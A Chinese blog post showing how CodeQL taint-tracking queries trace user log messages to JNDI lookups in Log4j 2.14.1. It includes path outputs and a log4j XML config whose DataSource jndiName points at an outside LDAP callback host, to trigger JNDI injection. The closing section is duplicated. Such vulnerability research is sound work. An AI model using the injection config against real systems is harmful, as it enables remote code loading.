【安全漏洞】利用 CodeQL 分析并挖掘 Log4j 漏洞
- 2021 年 12 月 29 日
本文字数:14236 字
阅读完需:约 47 分钟

前言
分析漏洞的本质是为了能让我们从中学习漏洞挖掘者的思路以及挖掘到新的漏洞,而 CodeQL 就是一款可以将我们对漏洞的理解快速转化为可实现的规则并挖掘漏洞的利器。根据网上的传言 Log4j2 的 RCE 漏洞就是作者通过 CodeQL 挖掘出的。虽然如何挖掘的我们不得而知,但我们现在站在事后的角度再去想想,可以推测一下作者如何通过 CodeQL 挖掘到漏洞的,并尝试基于作者的思路挖掘新漏洞。
分析过程
首先我们要构建 Log4j 的数据库,由于lgtm.com中构建的是新版本的 Log4j 数据库,所以只能手动构建数据库了。首先从 github 获取源码并切换到 2.14.1 版本。
git clone https://github.com/apache/logging-log4j2.gitgit checkout be881e5由于我们这次分析的主要是log4j-core和log4j-api中的内容,所以打开根目录的 Pom.xml 注释下面的内容。
<modules> <module>log4j-api-java9</module> <module>log4j-api</module> <module>log4j-core-java9</module> <module>log4j-core</module> <!-- <module>log4j-layout-template-json</module> <module>log4j-core-its</module> <module>log4j-1.2-api</module> <module>log4j-slf4j-impl</module> <module>log4j-slf4j18-impl</module> <module>log4j-to-slf4j</module> <module>log4j-jcl</module> <module>log4j-flume-ng</module> <module>log4j-taglib</module> <module>log4j-jmx-gui</module> <module>log4j-samples</module> <module>log4j-bom</module> <module>log4j-jdbc-dbcp2</module> <module>log4j-jpa</module> <module>log4j-couchdb</module> <module>log4j-mongodb3</module> <module>log4j-mongodb4</module> <module>log4j-cassandra</module> <module>log4j-web</module> <module>log4j-perf</module> <module>log4j-iostreams</module> <module>log4j-jul</module> <module>log4j-jpl</module> <module>log4j-liquibase</module> <module>log4j-appserver</module> <module>log4j-osgi</module> <module>log4j-docker</module> <module>log4j-kubernetes</module> <module>log4j-spring-boot</module> <module>log4j-spring-cloud-config</module> --> </modules>由于log4j-api-java9和log4j-core- java9需要依赖 JDK9,所以要先下载 JDK9 并且在C:\Users\用户名\.m2\toolchains.xml中加上下面的内容。
<toolchains><toolchain> <type>jdk</type> <provides> <version>9</version> <vendor>sun</vendor> </provides> <configuration> <jdkHome>C:\Program Files\Java\jdk-9.0.4</jdkHome> </configuration> </toolchain> </toolchains>通过下面的命令完成数据库构建
CodeQL database create Log4jDB --language=java --overwrite --command="mvn clean install -Dmaven.test.skip=true"构建好数据库后,我们要找 JNDI 注入的漏洞,首先要确定在这套系统中调用了 InitialContext#lookup 方法。在LookupInterface项目中已经集成了常见的发起 JNDI 请求的类,只要稍微改一下即可。
首先定义 Context 类型,这个类中综合了可能发起 JNDI 请求的类。
class Context extends RefType{ Context(){ this.hasQualifiedName("javax.naming", "Context") or this.hasQualifiedName("javax.naming", "InitialContext") or this.hasQualifiedName("org.springframework.jndi", "JndiCallback") or this.hasQualifiedName("org.springframework.jndi", "JndiTemplate") or this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate") or this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback") or this.getQualifiedName().matches("%JndiCallback") or this.getQualifiedName().matches("%JndiLocatorDelegate") or this.getQualifiedName().matches("%JndiTemplate") }}下面寻找那里调用了Context的 lookup 方法。
from Call call,Callable parseExpressionwhere call.getCallee() = parseExpression and parseExpression.getDeclaringType() instanceof Context and parseExpression.hasName("lookup")select call
DataSourceConnectionSource#createConnectionSource
@PluginFactory public static DataSourceConnectionSource createConnectionSource(@PluginAttribute("jndiName") final String jndiName) { if (Strings.isEmpty(jndiName)) { LOGGER.error("No JNDI name provided."); return null; } try { final InitialContext context = new InitialContext(); final DataSource dataSource = (DataSource) context.lookup(jndiName); if (dataSource == null) { LOGGER.error("No data source found with JNDI name [" + jndiName + "]."); return null; } return new DataSourceConnectionSource(jndiName, dataSource); } catch (final NamingException e) { LOGGER.error(e.getMessage(), e); return null; } }JndiManager#lookup
@SuppressWarnings("unchecked") public <T> T lookup(final String name) throws NamingException { return (T) this.context.lookup(name); }找到 sink 后我们还需要找到 source,虽然 Codeql 定义了RemoteFlowSource支持多种 source,但是我们还是要根据实际的代码业务来分析可能作为 source 的点。
在 Log4j 作为日志记录的工具,除了从 HTTP 请求中获取输入点外,还可以在记录日志请求或者解析配置文件中来获取 source。先不看解析配置文件获取 source 的点了,因为这需要分析 Log4j 解析配置文件的流程比较复杂。所以目前我们只考虑通过日志记录作为 source 的情况。稍微了解 Log4j 的同学都知道,Log4j 会通过error/fatal/info/debug/trace等方法对不同级别的日志进行记录。通过分析我们可以看到我们输入的 message 都调用了logIfEnabled方法并作为第四个参数输入,所以可以将这里定义为 source。
下面使用全局污点追踪分析 JNDI 漏洞,还是套用LookupInterface项目中的代码,修改 source 部分即可。
/** *@name Tainttrack Context lookup *@kind path-problem */import javaimport semmle.code.java.dataflow.FlowSourcesimport DataFlow::PathGraphclass Context extends RefType{ Context(){ this.hasQualifiedName("javax.naming", "Context") or this.hasQualifiedName("javax.naming", "InitialContext") or this.hasQualifiedName("org.springframework.jndi", "JndiCallback") or this.hasQualifiedName("org.springframework.jndi", "JndiTemplate") or this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate") or this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback") or this.getQualifiedName().matches("%JndiCallback") or this.getQualifiedName().matches("%JndiLocatorDelegate") or this.getQualifiedName().matches("%JndiTemplate") }}class Logger extends RefType{ Logger(){ this.hasQualifiedName("org.apache.logging.log4j.spi", "AbstractLogger") }}predicate isLookup(Expr arg) { exists(MethodAccess ma | ma.getMethod().getName() = "lookup" and ma.getMethod().getDeclaringType() instanceof Context and arg = ma.getArgument(0) )}predicate isLogging(Expr arg) { exists(MethodAccess ma | ma.getMethod().getName() = "logIfEnabled" and ma.getMethod().getDeclaringType() instanceof Logger and arg = ma.getArgument(3) )}class TainttrackLookup extends TaintTracking::Configuration { TainttrackLookup() { this = "TainttrackLookup" }
override predicate isSource(DataFlow::Node source) { exists(Expr exp | isLogging(exp) and source.asExpr() = exp ) }
override predicate isSink(DataFlow::Node sink) { exists(Expr arg | isLookup(arg) and sink.asExpr() = arg ) }} from TainttrackLookup config , DataFlow::PathNode source, DataFlow::PathNode sinkwhere config.hasFlowPath(source, sink)select sink.getNode(), source, sink, "unsafe lookup", source.getNode(), "this is user input"虽然这些也得到了很多查询结果,但是在实际使用 Log4j 打印日志时可能不会带上 Marker 参数而是直接写入 messge 的内容。
所以我们现在要追踪的 source 应该是带有一个参数的error/fatal/info/debug/trace等方法。我这里以 error 方法为例对 source 部分进行修改。
class LoggerInput extends Method { LoggerInput(){ //限定调用的类名、方法名、以及方法只有一个参数 this.getDeclaringType() instanceof Logger and this.hasName("error") and this.getNumberOfParameters() = 1 } //将第一个参数作为source Parameter getAnUntrustedParameter() { result = this.getParameter(0) }}override predicate isSource(DataFlow::Node source) { exists(LoggerInput LoggerMethod | source.asParameter() = LoggerMethod.getAnUntrustedParameter()) }这样我们就得到了多条链,现在我们要写个 Demo 验证这个链是否可行,比如最简单的logger.error("xxxxx");
1 message : Message AbstractLogger.java:709:232 message : Message AbstractLogger.java:710:473 message : Message AbstractLogger.java:1833:894 message : Message AbstractLogger.java:1835:385 message : Message Logger.java:262:706 message : Message Logger.java:263:527 msg : Message Logger.java:617:648 msg : Message Logger.java:620:789 msg : Message RegexFilter.java:73:8710 msg : Message RegexFilter.java:78:63...64 convertJndiName(...) : String JndiLookup.java:54:3365 jndiName : String JndiLookup.java:56:5666 name : String JndiManager.java:171:2567 name JndiManager.java:172:40Path但是这条链只有配置了 Filter 为RegexFilter才会继续执行,而默认没有配置则为空。
所以这种方式就稍微有些限制,所以我们再去看看其他链。这条链似乎不用配置 Filter。
1 message : Message AbstractLogger.java:709:232 message : Message AbstractLogger.java:710:473 message : Message AbstractLogger.java:1833:894 message : Message AbstractLogger.java:1836:515 message : Message AbstractLogger.java:2139:946 message : Message AbstractLogger.java:2142:597 message : Message AbstractLogger.java:2155:438 message : Message AbstractLogger.java:2159:679 message : Message AbstractLogger.java:2202:3210 message : Message AbstractLogger.java:2205:4811 message : Message AbstractLogger.java:2116:912 message : Message AbstractLogger.java:2117:41...78 var : String Interpolator.java:230:9279 key : String JndiLookup.java:50:4880 key : String JndiLookup.java:54:4981 jndiName : String JndiLookup.java:70:3682 jndiName : String JndiLookup.java:74:1683 convertJndiName(...) : String JndiLookup.java:54:3384 jndiName : String JndiLookup.java:56:5685 name : String JndiManager.java:171:2586 name JndiManager.java:172:40但是在AbstractLogger#tryLogMessage中 Codeql 会直接分析到AbstractLogger#log而实际请求时会解析到Logger#log方法。这是因为Logger是AbstractLogger的子类并且也实现了 log 方法,而且我们实例化的也是 Logger 对象,所以这里会调用到Logger#log。
实际请求
CodeQL 分析
再看看下面这条链
1 message : Message AbstractLogger.java:709:232 message : Message AbstractLogger.java:710:473 message : Message AbstractLogger.java:1833:894 message : Message AbstractLogger.java:1836:515 message : Message AbstractLogger.java:2139:946 message : Message AbstractLogger.java:2142:597 message : Message AbstractLogger.java:2155:438 message : Message AbstractLogger.java:2159:679 message : Message AbstractLogger.java:2202:3210 message : Message AbstractLogger.java:2205:4811 message : Message Logger.java:158:912 message : Message Logger.java:162:1713 data : Message AwaitCompletionReliabilityStrategy.java:78:8314 data : Message AwaitCompletionReliabilityStrategy.java:82:6715 data : Message LoggerConfig.java:430:2816 data : Message LoggerConfig.java:454:1717 message : Message ReusableLogEventFactory.java:78:8618 message : Message ReusableLogEventFactory.java:100:2719 msg : Message MutableLogEvent.java:209:2820 (...)... : Message MutableLogEvent.java:211:4621 reusable : Message MutableLogEvent.java:212:1322 parameter this : Message ReusableObjectMessage.java:47:1723 obj : Object ReusableObjectMessage.java:48:44...88 convertJndiName(...) : String JndiLookup.java:54:3389 jndiName : String JndiLookup.java:56:5690 name : String JndiManager.java:171:2591 name JndiManager.java:172:40这条链在执行到MutableLogEvent#setMessage时和 CodeQL 的分析结果略有不同。
在 CodeQL 中resusable.formatTo会调用到ReusableObjectMessage中。
但是实际运行过程中由于 MessgeFactorty 创建 Message 对象时默认创建的是ResableSimpleMessage对象,所以会执行到ResableSimpleMessage#formatTo方法。
所以似乎目前使用使用 CodeQL 的规则是发现不了 Log4jShell 那个漏洞的,既然我们已经知道了这个漏洞的触发链,可以分析下 CodeQL 为什么没有分析出来。
通过之前对 CodeQL 检测出的调用链分析,CodeQL 已经分析到了 createEvent 方法。
查看 createEvent 方法的调用,在Log4jShell的触发链中实际上是在对返回 LogEvent 的处理过程中触发的,所以这里 CodeQL 可能没有将返回的 LogEvent 对象再当作污点进行分析,所以导致没有分析成功。
我们可以创建一个isAdditionalTaintStep函数,将ReusableLogEventFactory#createEvent的第六个参数 Message 和LoggerConfig#log第一个参数logEvent连接起来。
override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) { exists(MethodAccess ma,MethodAccess ma2 | ma.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.impl", "ReusableLogEventFactory") and ma.getMethod().hasName("createEvent") and fromNode.asExpr()=ma.getArgument(5) and ma2.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.config", "LoggerConfig") and ma2.getMethod().hasName("log") and ma2.getMethod().getNumberOfParameters() = 2 and toNode.asExpr()=ma2.getArgument(0) ) }最后我们就可以通过 CodeQL 分析到 Log4j shell 漏洞的调用链。
1 message : Message AbstractLogger.java:709:232 message : Message AbstractLogger.java:710:473 message : Message AbstractLogger.java:1833:894 message : Message AbstractLogger.java:1836:515 message : Message AbstractLogger.java:2139:946 message : Message AbstractLogger.java:2142:597 message : Message AbstractLogger.java:2155:438 message : Message AbstractLogger.java:2159:679 message : Message AbstractLogger.java:2202:3210 message : Message AbstractLogger.java:2205:4811 message : Message Logger.java:158:912 message : Message Logger.java:162:1713 data : Message DefaultReliabilityStrategy.java:61:8314 data : Message DefaultReliabilityStrategy.java:63:6915 data : Message LoggerConfig.java:430:2816 data : Message LoggerConfig.java:454:9617 message : Message ReusableLogEventFactory.java:58:4718 message : Message ReusableLogEventFactory.java:60:6719 event : LogEvent LoggerConfig.java:469:1320 event : LogEvent LoggerConfig.java:479:2421 event : LogEvent LoggerConfig.java:481:2922 event : LogEvent LoggerConfig.java:495:3423 event : LogEvent LoggerConfig.java:498:2724 event : LogEvent LoggerConfig.java:536:3425 event : LogEvent LoggerConfig.java:540:3826 event : LogEvent AppenderControl.java:80:3027 event : LogEvent AppenderControl.java:84:3828 event : LogEvent AppenderControl.java:117:4729 event : LogEvent AppenderControl.java:120:2730 event : LogEvent AppenderControl.java:126:3231 event : LogEvent AppenderControl.java:129:2932 event : LogEvent AppenderControl.java:154:3433 event : LogEvent AppenderControl.java:156:2934 event : LogEvent AbstractDatabaseAppender.java:107:3035 event : LogEvent AbstractDatabaseAppender.java:110:3736 event : LogEvent AbstractDatabaseManager.java:260:4237 event : LogEvent AbstractDatabaseManager.java:262:2038 event : LogEvent AbstractDatabaseManager.java:122:2739 event : LogEvent AbstractDatabaseManager.java:123:2540 parameter this : LogEvent Log4jLogEvent.java:530:2641 this : LogEvent Log4jLogEvent.java:534:1642 toImmutable(...) : LogEvent AbstractDatabaseManager.java:123:2543 this.buffer [post update] [<element>] : LogEvent AbstractDatabaseManager.java:123:944 this [post update] [buffer, <element>] : LogEvent AbstractDatabaseManager.java:123:945 this <.method> [post update] [buffer, <element>] : LogEvent AbstractDatabaseManager.java:262:1346 getManager(...) [post update] [buffer, <element>] : LogEvent AbstractDatabaseAppender.java:110:1347 this [post update] [manager, buffer, <element>] : LogEvent AbstractDatabaseAppender.java:110:1348 appender [post update] [manager, buffer, <element>] : LogEvent AppenderControl.java:156:1349 this <.field> [post update] [appender, manager, buffer, <element>] : LogEvent AppenderControl.java:156:1350 this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent AppenderControl.java:129:1351 this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent AppenderControl.java:120:1352 this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent AppenderControl.java:84:953 event : LogEvent AppenderControl.java:80:3054 event : LogEvent AppenderControl.java:84:3855 event : LogEvent AppenderControl.java:117:4756 event : LogEvent AppenderControl.java:120:2757 event : LogEvent AppenderControl.java:126:3258 event : LogEvent AppenderControl.java:129:2959 event : LogEvent AppenderControl.java:154:3460 event : LogEvent AppenderControl.java:156:2961 event : LogEvent AbstractOutputStreamAppender.java:179:2462 event : LogEvent AbstractOutputStreamAppender.java:181:2363 event : LogEvent AbstractOutputStreamAppender.java:188:2864 event : LogEvent AbstractOutputStreamAppender.java:190:3165 event : LogEvent AbstractOutputStreamAppender.java:196:3866 event : LogEvent AbstractOutputStreamAppender.java:197:2867 event : LogEvent GelfLayout.java:433:2468 event : LogEvent GelfLayout.java:438:4369 event : LogEvent GelfLayout.java:471:3470 event : LogEvent GelfLayout.java:496:4671 event : LogEvent StrSubstitutor.java:462:2772 event : LogEvent StrSubstitutor.java:467:2573 event : LogEvent StrSubstitutor.java:911:3474 event : LogEvent StrSubstitutor.java:912:2775 event : LogEvent StrSubstitutor.java:928:2876 event : LogEvent StrSubstitutor.java:978:4477 event : LogEvent StrSubstitutor.java:911:3478 event : LogEvent StrSubstitutor.java:912:2779 event : LogEvent StrSubstitutor.java:928:2880 event : LogEvent StrSubstitutor.java:1033:6381 event : LogEvent StrSubstitutor.java:1104:3882 event : LogEvent StrSubstitutor.java:1110:3283 event : LogEvent StructuredDataLookup.java:46:2684 event : LogEvent StructuredDataLookup.java:50:6785 parameter this : LogEvent RingBufferLogEvent.java:206:2086 message : Message RingBufferLogEvent.java:210:1687 getMessage(...) : Message StructuredDataLookup.java:50:6788 (...)... : Message StructuredDataLookup.java:50:4389 msg : Message StructuredDataLookup.java:54:2090 parameter this : Message StructuredDataMessage.java:239:1991 type : String StructuredDataMessage.java:240:1692 getType(...) : String StructuredDataLookup.java:54:2093 lookup(...) : String StrSubstitutor.java:1110:1694 resolveVariable(...) : String StrSubstitutor.java:1033:4795 varValue : String StrSubstitutor.java:1040:6396 buf [post update] : StringBuilder StrSubstitutor.java:1040:3397 buf [post update] : StringBuilder StrSubstitutor.java:912:3498 bufName [post update] : StringBuilder StrSubstitutor.java:978:5199 bufName : StringBuilder StrSubstitutor.java:979:47100 toString(...) : String StrSubstitutor.java:979:47101 varNameExpr : String StrSubstitutor.java:1010:55102 substring(...) : String StrSubstitutor.java:1010:55103 varName : String StrSubstitutor.java:1033:70104 variableName : String StrSubstitutor.java:1104:60105 variableName : String StrSubstitutor.java:1110:39106 key : String JndiLookup.java:50:48107 key : String JndiLookup.java:54:49108 jndiName : String JndiLookup.java:70:36109 ... + ... : String JndiLookup.java:72:20110 convertJndiName(...) : String JndiLookup.java:54:33111 jndiName : String JndiLookup.java:56:56112 name : String JndiManager.java:171:25113 name JndiManager.java:172:40漏洞挖掘尝试
通过上面的分析可以看到,挖掘到所有的链最终的触发点都是 JndiManager,这个点目前的触发已经在新版本中修复了,但是在DataSourceConnectionSource#createConnectionSource中也直接调用了 lookup 方法,我们能否通过某种方式触发呢?
通过注释可以看到 DataSource 是 Core 类型插件,因此可以在 XML 中直接通过标签配置调用。
<?xml version="1.0" encoding="UTF-8"?><Configuration status="WARN"> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/> </Console> </Appenders> <DataSource jndiName="ldap://9b89e78d.dns.1433.eu.org."> </DataSource> <Loggers> <Root level="ERROR"> <AppenderRef ref="Console"/> </Root> </Loggers></Configuration>配置后可以在插件加载的过程中触发漏洞,虽然这种方式也可以造成 JNDI 注入,但是需要在配置文件中修改参数才能触发,所以价值不大。
最后给出整体的分析 Log4j JNDI 注入的 CodeQL 查询代码
1 message : Message AbstractLogger.java:709:232 message : Message AbstractLogger.java:710:473 message : Message AbstractLogger.java:1833:894 message : Message AbstractLogger.java:1836:515 message : Message AbstractLogger.java:2139:946 message : Message AbstractLogger.java:2142:597 message : Message AbstractLogger.java:2155:438 message : Message AbstractLogger.java:2159:679 message : Message AbstractLogger.java:2202:3210 message : Message AbstractLogger.java:2205:4811 message : Message Logger.java:158:912 message : Message Logger.java:162:1713 data : Message DefaultReliabilityStrategy.java:61:8314 data : Message DefaultReliabilityStrategy.java:63:6915 data : Message LoggerConfig.java:430:2816 data : Message LoggerConfig.java:454:9617 message : Message ReusableLogEventFactory.java:58:4718 message : Message ReusableLogEventFactory.java:60:6719 event : LogEvent LoggerConfig.java:469:1320 event : LogEvent LoggerConfig.java:479:2421 event : LogEvent LoggerConfig.java:481:2922 event : LogEvent LoggerConfig.java:495:3423 event : LogEvent LoggerConfig.java:498:2724 event : LogEvent LoggerConfig.java:536:3425 event : LogEvent LoggerConfig.java:540:3826 event : LogEvent AppenderControl.java:80:3027 event : LogEvent AppenderControl.java:84:3828 event : LogEvent AppenderControl.java:117:4729 event : LogEvent AppenderControl.java:120:2730 event : LogEvent AppenderControl.java:126:3231 event : LogEvent AppenderControl.java:129:2932 event : LogEvent AppenderControl.java:154:3433 event : LogEvent AppenderControl.java:156:2934 event : LogEvent AbstractDatabaseAppender.java:107:3035 event : LogEvent AbstractDatabaseAppender.java:110:3736 event : LogEvent AbstractDatabaseManager.java:260:4237 event : LogEvent AbstractDatabaseManager.java:262:2038 event : LogEvent AbstractDatabaseManager.java:122:2739 event : LogEvent AbstractDatabaseManager.java:123:2540 parameter this : LogEvent Log4jLogEvent.java:530:2641 this : LogEvent Log4jLogEvent.java:534:1642 toImmutable(...) : LogEvent AbstractDatabaseManager.java:123:2543 this.buffer [post update] [<element>] : LogEvent AbstractDatabaseManager.java:123:944 this [post update] [buffer, <element>] : LogEvent AbstractDatabaseManager.java:123:945 this <.method> [post update] [buffer, <element>] : LogEvent AbstractDatabaseManager.java:262:1346 getManager(...) [post update] [buffer, <element>] : LogEvent AbstractDatabaseAppender.java:110:1347 this [post update] [manager, buffer, <element>] : LogEvent AbstractDatabaseAppender.java:110:1348 appender [post update] [manager, buffer, <element>] : LogEvent AppenderControl.java:156:1349 this <.field> [post update] [appender, manager, buffer, <element>] : LogEvent AppenderControl.java:156:1350 this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent AppenderControl.java:129:1351 this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent AppenderControl.java:120:1352 this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent AppenderControl.java:84:953 event : LogEvent AppenderControl.java:80:3054 event : LogEvent AppenderControl.java:84:3855 event : LogEvent AppenderControl.java:117:4756 event : LogEvent AppenderControl.java:120:2757 event : LogEvent AppenderControl.java:126:3258 event : LogEvent AppenderControl.java:129:2959 event : LogEvent AppenderControl.java:154:3460 event : LogEvent AppenderControl.java:156:2961 event : LogEvent AbstractOutputStreamAppender.java:179:2462 event : LogEvent AbstractOutputStreamAppender.java:181:2363 event : LogEvent AbstractOutputStreamAppender.java:188:2864 event : LogEvent AbstractOutputStreamAppender.java:190:3165 event : LogEvent AbstractOutputStreamAppender.java:196:3866 event : LogEvent AbstractOutputStreamAppender.java:197:2867 event : LogEvent GelfLayout.java:433:2468 event : LogEvent GelfLayout.java:438:4369 event : LogEvent GelfLayout.java:471:3470 event : LogEvent GelfLayout.java:496:4671 event : LogEvent StrSubstitutor.java:462:2772 event : LogEvent StrSubstitutor.java:467:2573 event : LogEvent StrSubstitutor.java:911:3474 event : LogEvent StrSubstitutor.java:912:2775 event : LogEvent StrSubstitutor.java:928:2876 event : LogEvent StrSubstitutor.java:978:4477 event : LogEvent StrSubstitutor.java:911:3478 event : LogEvent StrSubstitutor.java:912:2779 event : LogEvent StrSubstitutor.java:928:2880 event : LogEvent StrSubstitutor.java:1033:6381 event : LogEvent StrSubstitutor.java:1104:3882 event : LogEvent StrSubstitutor.java:1110:3283 event : LogEvent StructuredDataLookup.java:46:2684 event : LogEvent StructuredDataLookup.java:50:6785 parameter this : LogEvent RingBufferLogEvent.java:206:2086 message : Message RingBufferLogEvent.java:210:1687 getMessage(...) : Message StructuredDataLookup.java:50:6788 (...)... : Message StructuredDataLookup.java:50:4389 msg : Message StructuredDataLookup.java:54:2090 parameter this : Message StructuredDataMessage.java:239:1991 type : String StructuredDataMessage.java:240:1692 getType(...) : String StructuredDataLookup.java:54:2093 lookup(...) : String StrSubstitutor.java:1110:1694 resolveVariable(...) : String StrSubstitutor.java:1033:4795 varValue : String StrSubstitutor.java:1040:6396 buf [post update] : StringBuilder StrSubstitutor.java:1040:3397 buf [post update] : StringBuilder StrSubstitutor.java:912:3498 bufName [post update] : StringBuilder StrSubstitutor.java:978:5199 bufName : StringBuilder StrSubstitutor.java:979:47100 toString(...) : String StrSubstitutor.java:979:47101 varNameExpr : String StrSubstitutor.java:1010:55102 substring(...) : String StrSubstitutor.java:1010:55103 varName : String StrSubstitutor.java:1033:70104 variableName : String StrSubstitutor.java:1104:60105 variableName : String StrSubstitutor.java:1110:39106 key : String JndiLookup.java:50:48107 key : String JndiLookup.java:54:49108 jndiName : String JndiLookup.java:70:36109 ... + ... : String JndiLookup.java:72:20110 convertJndiName(...) : String JndiLookup.java:54:33111 jndiName : String JndiLookup.java:56:56112 name : String JndiManager.java:171:25113 name JndiManager.java:172:40私信回复“资料”获取 log4j 的分享及修复资料·教程
漏洞挖掘尝试
通过上面的分析可以看到,挖掘到所有的链最终的触发点都是 JndiManager,这个点目前的触发已经在新版本中修复了,但是在DataSourceConnectionSource#createConnectionSource中也直接调用了 lookup 方法,我们能否通过某种方式触发呢?
通过注释可以看到 DataSource 是 Core 类型插件,因此可以在 XML 中直接通过标签配置调用。
<?xml version="1.0" encoding="UTF-8"?><Configuration status="WARN"> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/> </Console> </Appenders> <DataSource jndiName="ldap://9b89e78d.dns.1433.eu.org."> </DataSource> <Loggers> <Root level="ERROR"> <AppenderRef ref="Console"/> </Root> </Loggers></Configuration>配置后可以在插件加载的过程中触发漏洞,虽然这种方式也可以造成 JNDI 注入,但是需要在配置文件中修改参数才能触发,所以价值不大。
最后给出整体的分析 Log4j JNDI 注入的 CodeQL 查询代码
H
还未添加个人签名 2021.08.04 加入
还未添加个人简介











评论